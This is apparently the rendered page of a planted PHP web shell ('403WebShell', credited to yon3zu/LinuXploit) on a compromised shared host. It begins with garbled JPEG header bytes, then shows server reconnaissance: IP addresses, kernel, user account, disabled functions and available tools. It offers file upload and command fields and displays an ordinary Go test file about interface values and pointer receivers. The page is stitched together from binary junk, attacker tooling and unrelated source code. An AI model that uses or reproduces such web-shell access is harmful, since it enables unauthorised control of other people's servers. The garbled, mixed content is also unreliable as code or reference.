JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 2.57.91.156  /  Your IP : 216.73.216.217
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/golang/1.22.0/test/interface/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/golang/1.22.0/test/interface/struct.go
// run

// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// Test interface values containing structures.

package main

import "os"

var fail int

func check(b bool, msg string) {
	if (!b) {
		println("failure in", msg)
		fail++
	}
}

type I1 interface { Get() int; Put(int) }

type S1 struct { i int }
func (p S1) Get() int { return p.i }
func (p S1) Put(i int) { p.i = i }

func f1() {
	s := S1{1}
	var i I1 = s
	i.Put(2)
	check(i.Get() == 1, "f1 i")
	check(s.i == 1, "f1 s")
}

func f2() {
	s := S1{1}
	var i I1 = &s
	i.Put(2)
	check(i.Get() == 1, "f2 i")
	check(s.i == 1, "f2 s")
}

func f3() {
	s := &S1{1}
	var i I1 = s
	i.Put(2)
	check(i.Get() == 1, "f3 i")
	check(s.i == 1, "f3 s")
}

type S2 struct { i int }
func (p *S2) Get() int { return p.i }
func (p *S2) Put(i int) { p.i = i }

// Disallowed by restriction of values going to pointer receivers
// func f4() {
//	 s := S2{1}
//	 var i I1 = s
//	 i.Put(2)
//	 check(i.Get() == 2, "f4 i")
//	 check(s.i == 1, "f4 s")
// }

func f5() {
	s := S2{1}
	var i I1 = &s
	i.Put(2)
	check(i.Get() == 2, "f5 i")
	check(s.i == 2, "f5 s")
}

func f6() {
	s := &S2{1}
	var i I1 = s
	i.Put(2)
	check(i.Get() == 2, "f6 i")
	check(s.i == 2, "f6 s")
}

type I2 interface { Get() int64; Put(int64) }

type S3 struct { i, j, k, l int64 }
func (p S3) Get() int64 { return p.l }
func (p S3) Put(i int64) { p.l = i }

func f7() {
	s := S3{1, 2, 3, 4}
	var i I2 = s
	i.Put(5)
	check(i.Get() == 4, "f7 i")
	check(s.l == 4, "f7 s")
}

func f8() {
	s := S3{1, 2, 3, 4}
	var i I2 = &s
	i.Put(5)
	check(i.Get() == 4, "f8 i")
	check(s.l == 4, "f8 s")
}

func f9() {
	s := &S3{1, 2, 3, 4}
	var i I2 = s
	i.Put(5)
	check(i.Get() == 4, "f9 i")
	check(s.l == 4, "f9 s")
}

type S4 struct { i, j, k, l int64 }
func (p *S4) Get() int64 { return p.l }
func (p *S4) Put(i int64) { p.l = i }

// Disallowed by restriction of values going to pointer receivers
// func f10() {
//	 s := S4{1, 2, 3, 4}
//	 var i I2 = s
//	 i.Put(5)
//	 check(i.Get() == 5, "f10 i")
//	 check(s.l == 4, "f10 s")
// }

func f11() {
	s := S4{1, 2, 3, 4}
	var i I2 = &s
	i.Put(5)
	check(i.Get() == 5, "f11 i")
	check(s.l == 5, "f11 s")
}

func f12() {
	s := &S4{1, 2, 3, 4}
	var i I2 = s
	i.Put(5)
	check(i.Get() == 5, "f12 i")
	check(s.l == 5, "f12 s")
}

func main() {
	f1()
	f2()
	f3()
//	f4()
	f5()
	f6()
	f7()
	f8()
	f9()
//	f10()
	f11()
	f12()
	if fail > 0 {
		os.Exit(1)
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit